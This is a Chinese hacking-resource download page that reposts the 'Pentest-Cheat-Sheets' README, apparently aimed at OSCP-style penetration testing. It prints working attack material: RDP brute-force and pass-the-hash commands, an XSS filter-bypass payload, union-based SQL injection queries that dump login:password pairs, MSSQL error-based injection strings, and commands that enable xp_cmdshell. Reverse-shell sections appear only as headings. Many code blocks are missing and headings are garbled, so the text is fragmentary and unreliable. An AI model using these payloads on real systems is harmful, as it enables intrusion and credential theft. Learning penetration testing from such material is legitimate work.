剑庭安
首页
黑客安全首页全部安全栏目 黑客技术黑客技术、渗透测试、漏洞利用工具与教程 安全软件安全工具、扫描器、检测与审计软件 病毒分析恶意软件分析、样本、逆向与沙箱 CTF思路CTF 题目、writeup、解题思路与工具 防护思路防御技术、加固、检测响应与蓝队 红蓝攻防红队攻击模拟、蓝队对抗、攻防演练 漏洞知识库漏洞、CVE、PoC、EXP 与安全研究
逆向|反编译
PHP源码PHP 网站源码、程序、系统 APP源码安卓/iOS APP 源码 ASP源码ASP 网站源码与程序 NET源码.NET 网站源码与系统 小程序源码微信/支付宝小程序源码 Dedecms风格模板Dedecms 织梦风格模板 Empirecms风格模板EmpireCMS 帝国风格模板 Discuz商业模板/插件Discuz 商业模板与插件 WordPress主题/插件WordPress 主题与插件 其它源码、模板其它各类源码与模板 游戏源码游戏源码与引擎项目 加密货币源码加密货币、区块链、钱包、USDT/比特币相关源码与工具 手游源码手机游戏源码、服务端、客户端与引擎项目 传奇源码热血传奇、传奇世界、复古传奇等客户端/服务端/引擎源码 页游源码网页游戏、H5 游戏、浏览器游戏源码 端游源码电脑单机游戏、PC 网游客户端/服务端源码
最新万能免驱动支持所有型号打印机下载程序 日历天气老黄历 · 每天同步真实日期与天气
站长工具站长工具 自助开通会员浏览该分类 其他资源qtziy SEO工具SEO工具 站群源码站群源码 泛程序泛程序 蜘蛛模板蜘蛛模板 蜘蛛池蜘蛛池 外链工具外链工具
搜索 自助开通会员🔓 破甲 API
登录 注册
首页 分类列表 黑客技术 Pentest-Cheat-Sheets - 代码和命令…
黑客技术
作者:admin 发布:2026-10-05

Pentest-Cheat-Sheets - 代码和命令片段的集合

项目说明<p align="center"> <img src=" alt="Pentest Cheat Sheets" width="300" /></p><p align="…
资源可下载 免费下载 0 条讨论
会员资源
开通会员后即可下载全部资源。
登录后开通会员
会员方案
368浏览量
0讨论
2下载链接
可下载资源状态
内容可验证
更新 2026-10-05
人工审核发布
评论区答疑

项目说明

<p align="center">
<img src=" alt="Pentest Cheat Sheets" width="300" />
</p>

<p align="center">
Pentest-Cheat-Sheets<br>
| |
</p>

This repo has a collection of snippets of codes and commands to help our lives!
The main purpose is not be a crutch, this is a way to do not waste our precious time!
This repo also helps who trying to get OSCP. You'll find many ways to do something without Metasploit 框架.

Ninja Tricks

  • Recon

  • - DNS
    - SPF
    - Nmap
    - NetCat
    - SNMP
    - Mysql
    - MS SQL
    - Web Enumeration
  • Exploitation

  • - System Network
    - RDP
    - Pass The Hash
    - Windows-Shell
    - Web Application
    - Web Remote Code Execution
    - LFI
    - encode
    - XSS
    - SQLi
    - sqlmap
    - Bare Hands
    - Jekins
  • Post-exploitation

  • - Reverse Shell
    - PHP Reverse Shell
    - Perl Reverse Shell
    - python Reverse Shell
    - Ruby Reverse Shell
    - bash Reverse Shell
    - powershell Reverse Sheel
    - Ja Sheel
    - Xterm Reverse Sheel
    - Linux
    - Linux Pri Escalation
    - Data Ha and Enumeration
    - Linux Pivot
    - Sshutle
    -
    - SSH Tunneling
    - Linux Backdoring
    - Windows
    - Windows Enumeration
    - Windows Pri Escalation
    - Hashdump
    - Transferring Files Without Metasploit
    - Backdoring
    - Windows Pivot
    - Openssh for Tunneling
    - Plink
  • Resources

  • - HTTP/HTTPS Servers
    - Wordlist
    - seclist
    - cotse
    - PacketStorm
    - Default Passwords
    - Default Passoword
    - Router Password
    - Leak
    - Pastebin
    - Tables
  • Contribution
  • Recon

    DNS

    Nslookup

    Resolve a gi to the corresponding IP.

    Reverse DNS lookup

    MX(Mail Exchange) lookup

    Zone Transfer

    #### Using nslookup Command

    #### Using HOST Command

    host -t ns(Name 服务端) < domain >

    after that test nameservers

    host -l < domain > < nameserver >

    Nmap Dns Enumaration

    Auto tools

    #### DNSenum

    #### DNSmap

    Brute Force, the file is saved in /tmp

    #### DNSRecon DNS Brute Force

    #### Fierce.pl

    #### HostMap

    We can use -with-zonetransfer or -bruteforce-level

    ##

    SPF Recon

    Dig SPF txt

    #### Dmarc

    #### Online Tools




  • ##

    Nmap

    Set the ip address as a

    export ip=192.168.1.100
    export netw=192.168.1.0/24

    Detecting Li

    Only Ip's

    Stealth Scan

    Only Open Ports and Banner Grab

    Stealth scan using FIN Scan

    Agressive scan

    Without Ping scan, no dns resolution, show only open ports all and test All TCP Ports

    Nmap scan, runs syn stealth, T4 timing, OS and service info, traceroute and scripts against services

    OS FigerPrint

    Quick Scan

    Quick Scan Plus

    output to a file

    output to a file Plus

    Search NMAP scripts

  • Nmap Discovery
  • ##

    NetCat

    Port Scanner

    One port

    Port Range

    Send files

  • Server
  • Client
  • Executing remote script

  • Server
  • Client
  • Chat with encryption

  • Server
  • Client
  • Banner Grabbing

  • Request
  • Response
  • If this site uses https you need to use openssl

    ##

    SNMP

    Fixing SNMP output

    OneSixtyone

    onesixtyone -c COMMUNITY_FILE -i Target_ip

    snmpwalk

    Walking MIB's

    snmpwalk -c COMMUNITY - target_ip

    specific MIB node
    snmpwalk -c community - Target IP MIB Node
    Example: USER ACCOUNTS = 1.3.6.1.4.1.77.1.2.25

    snmp-check

    snmp-check -t target_IP | snmp-check -t TARGET -c COMMUNITY

    Automate the username enumeration process for SNMPv3

    NMAP SNMPv3 Enumeration

    Default Credentials

    ##

    MYSQL

    Try remote default Root access

    Mysql Open to wild

    MSSQL

    MSQL Information Gathering

    Web Enumeration

    Dirsearch

    dirb

    Gobuster

    ##

    Exploitation

    System Network

    RDP

    xfreerdp

    ##### Simple User Enumeration for Windows Target (kerberos based)

    xfreerdp /v:<target_ip> -sec-nla /u:""

    login

    xfreerdp /u:<user> /g:<domain> /p:<pass> /v:<target_ip>

    #### Wordlist based bruteforce

    NCRACK

    ncrack -/-U <username/username_wordlist> --pass/-P <password/password_wordlist> <target_ip>:3389

    Crowbar

    crowbar -b rdp <-u/-U user/user_wordlist> -c/-C <password/password_wordlist> -s <target_ip>/32 -v

    Pass the hash

    Smb pass the hash

    #### Tool:

    pth-toolkit

    Listing shared folders

    sudo pth-smbclient --user=<user> --pw-nt-hash -m smb3 -L <target_ip> \\\\<target_ip>\\ <hash>

    Interactive smb shell

    sudo pth-smbclient --user=<user> --pw-nt-hash -m smb3 \\\\<target_ip>\\shared_folder <hash>

    Web Application

    Web Remote code

    LFI (Local File Inclusion)

    Situation

    #### How to Test

    #### LFI Payloads

  • Payload All the Things

  • Seclist LFI Intruder
  • encode

    XSS

    Reflected

    #### Simple test

    This is a simple test to see what happens, this is not a prove that the field is vuln to xss

    #### Simple XSS test

    #### Bypass filter of tag script

    " onload="alert(String.fromCharCode(88,83,83))

    bla is not a valid image, so this cause an error

    Persistent

    PHP collector

    > cookie.txt
    chmod 777 cookie.txt

    edit a php page like colector.php as follow:

    Script to put in page:

    #### Malware Donwloader via XSS

    #### How to play Mario with XSS

    #### XSS payloads

  • Payload All The Things

  • Seclist XSS
  • SQLI

    Sql Injection

    Sqlmap

    #### GET

    #### Error-Based

    #### Simple test

    Adding a simpe quote '

    Example:

    #### List databases

    #### List tables

    #### List columns

    #### Dump all

    #### Set Cookie

    #### Checking Pri

    #### Reading file

    #### Writing file

    #### POST

    You can also use a file like with the post request:

    Bare Hands

    #### GET

    #### Error-Based

    #### Simple test

    Adding a simpe quote '

    Example:

    #### Fuzzing

    Sorting columns to find maximum column

    order by 1

    order by 2

    order by 3

    (until it stop returning errors)

    ---

    #### Finding what column is injectable

    mysql

    union select 1, 2, 3

    (using the same amount of columns you got on the previous step)

    postgresql

    union select NULL, NULL, NULL

    (using the same amount of columns you got on the previous step)

    one of the columns will be printed with the respecti

    ---

    #### Finding

    mysql

    union select 1, 2, ()

    postgres

    union select NULL, NULL, ()

    #### Finding database name

    mysql

    union select 1,2, database()

    postgres

    union select NULL,NULL, database()

    #### Finding usernames logged in

    mysql

    union select 1, 2, current_user()

    #### Finding databases

    mysql

    union select 1, 2, schema_name from information_schema.schemata

    postgres

    union select 1, 2, datname from pg_database

    #### Finding table names from a database

    mysql

    postgres

    #### Finding column names from a table

    mysql

    postgres

    #### Concatenate

    Example:

    union select 1, 2, login from users;
    union select 1, 2, password from users;

    in one query

    union select 1, 2, concat(login,':',password) from users; mysql
    union select 1, 2, login||':'||password from users; postgres

    Error Based SQLI (USUALLY MS-SQL)

    #### Current user

    or 1 in (SELECT TOP 1 CAST(user_name() as (4096)))--

    #### DBMS

    or 1 in (SELECT TOP 1 CAST(@@ as (4096)))--

    #### Database name

    or db_name(0)=0 --

    #### Tables from a database

    or 1 in (SELECT TOP 1 CAST(name as (4096)) FROM dbname..sysobjects where xtype='U')--

    ---

    or 1 in (SELECT TOP 1 CAST(name as (4096)) FROM dbname..sysobjects where xtype='U' AND name NOT IN ('pre',...))--

    #### Columns within a table

    or 1 in (SELECT TOP 1 CAST(dbname..syscolumns.name as (4096)) FROM dbname..syscolumns, dbname..sysobjects WHERE dbname..syscolumns.id=dbname..sysobjects.id AND dbname..sysobjects.name = 'tablename')--

    > remember to change dbname and tablename accordingly with the gi
    > after each iteration a new column name will be found, make sure add it to pre found column name separated by comma as on the next sample

    or 1 in (SELECT TOP 1 CAST(dbname..syscolumns.name as (4096)) FROM dbname..syscolumns, dbname..sysobjects WHERE dbname..syscolumns.id=dbname..sysobjects.id AND dbname..sysobjects.name = 'tablename' AND dbname..syscolumns.name NOT IN('pre found column name', ...))--

    #### Actual data

    or 1 in (SELECT TOP 1 CAST(columnName as (4096)) FROM tablename)--

    > after each iteration a new column name will be found, make sure add it to pre found column name separated by comma as on the next sample

    or 1 in (SELECT TOP 1 CAST(columnName as (4096)) FROM tablename AND name NOT IN('pre found row data'))--

    #### Shell commands

    EXEC master..xp_cmdshell <command>

    > you need yo be 'sa' user

    #### Enabling shell commands

    EXEC sp_configure 'show ad options', 1; RECONFIGURE; EXEC sp_congigure 'xp_shell', 1; RECONFIGURE;

    Jenkins

    ##

    Post Exploitation

    Reverse Shell

    PHP Reverse Shell

    Tiny Reverse Shell

    Perl Reverse Shell

    Python Reverse Shell

    Ruby Reverse Shell

    Bash Reverse Shell

    Powershell Reverse Shell

    Create a simple powershell script called reverse.ps1:

    Ja Shell

    Xterm Reverse Shell

    One of the simplest forms of reverse shell is an xterm session. The following command should be run on the 服务端. It will try to connect back to you (10.0.0.1) on TCP port 6001.

    To catch the incoming xterm, start an X-服务端 (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):

    You’ll need to authorise the target to connect to you (command also run on your host):

    ##

    Linux

    Windows

    Transferring Files Without Metasploit

    #### Powershell

    Download files with powershell

    Creating a server with python3

    Creating a server with python2

    #### FTP

    You need to create a FTP server

  • Ser

  • Allow anonymous

  • Windows Client
  • we can simply run ftp -s:ftp_commands.txt and we can download a file with no user interaction.

    like this:

    #### Apache Server

  • server

  • Put your files into /var/www/html

  • client
  • Get via web browser, wget or powershell...

    Windows Pi

    #### Openssh for Tunneling

    Once you got SYSTEM on the target machine. download: openssh_for_windows

    Then install it:

    Now if you need, just adjust the firewall rules to your needs:

    Start the sshd service:

    After these steps a regular ssh tunnel would sufice:

    From your linux machine:

    done you have now a socks to tunnel through!!

    ##

    Resources

    ##

    #### HTTP/HTTPS Servers

    HTTPS using Python

    Create the Certificate:

    Start the HTTPS Server

    Wordlists

  • Wordlists

  • - PacketStorm
    - SecList
    - cotse
  • Default Password

  • - DefaultPassword
    - RouterPassword
  • Leak

  • - Pastebin
  • Tables

  • - RainbowCrack

    ##

    Contribution

    HOW TO

    项目信息

    开发语言:Shell

    Star 数:2945

    技术要点

    该项目属于黑客技术方向的开源资源,代码结构清晰,适合安全研究人员学习参考。项目围绕A collection of snippets of codes and commands to make your life easier! 展开,提供了可运行的实现,对理解相关安全机制、工具原理与攻防技术具有较高的研究价值。

    从技术实现角度看,此类项目的核心在于对底层原理的深入理解与工程化落地。开发者在研究过程中可以结合官方文档与社区讨论,梳理项目的初始化流程、核心模块职责与数据流转,逐步掌握其中的技术细节与设计思路。

    使用与学习建议

    1. 下载源码压缩包,解压到本地环境。

    2. 根据项目类型准备对应的运行环境与依赖。

    3. 按照 README 中的步骤完成配置与部署。

    4. 在隔离的测试环境中运行验证,避免影响生产系统。

    免责声明

    本资源来源于开源社区,仅供安全研究、技术学习与合法授权范围内的攻防演练使用,请勿用于任何非法或侵害他人权益的用途。使用本项目产生的一切后果由使用者自行承担。

    资源标题Pentest-Cheat-Sheets - 代码和命令片段的集合
    所属分类黑客技术
    发布作者admin
    发布时间2026-10-05 22:04:29
    下载权限 免费下载
    附件数量2 个下载链接
    浏览次数368
    讨论数量0
    主题状态正常讨论中

    本资源免费,登录后即可在本页「下载链接」区域获取全部附件。

    请在评论区留言说明具体链接,或联系作者补档。楼主更新后本页会同步最新的下载地址。

    请先阅读正文中的授权说明;未注明的默认仅限站内学习交流,禁止直接搬运到其他站点二次售卖。
    还没有讨论,快来抢沙发~
    登录 后才能参与讨论
    下载链接
    会员才能下载
    登录后开通会员
    同分类推荐
    暂无同类资源
    免费登录即可下载
    查看会员
    放大预览

    © 2026 剑庭安 - 网站开发定制 SEO 优化蜘蛛池代做 在线看手相算命. 保留所有权利。

    Powered by 酷像SEOv3.0

    网站地图 Sitemap.xml
    首页 全部分类 黑客安全 逆向|反编译 精品源码 站长工具自助开通会员其他资源SEO工具站群源码泛程序蜘蛛模板蜘蛛池外链工具创意乐园 搜索 会员服务 登录 注册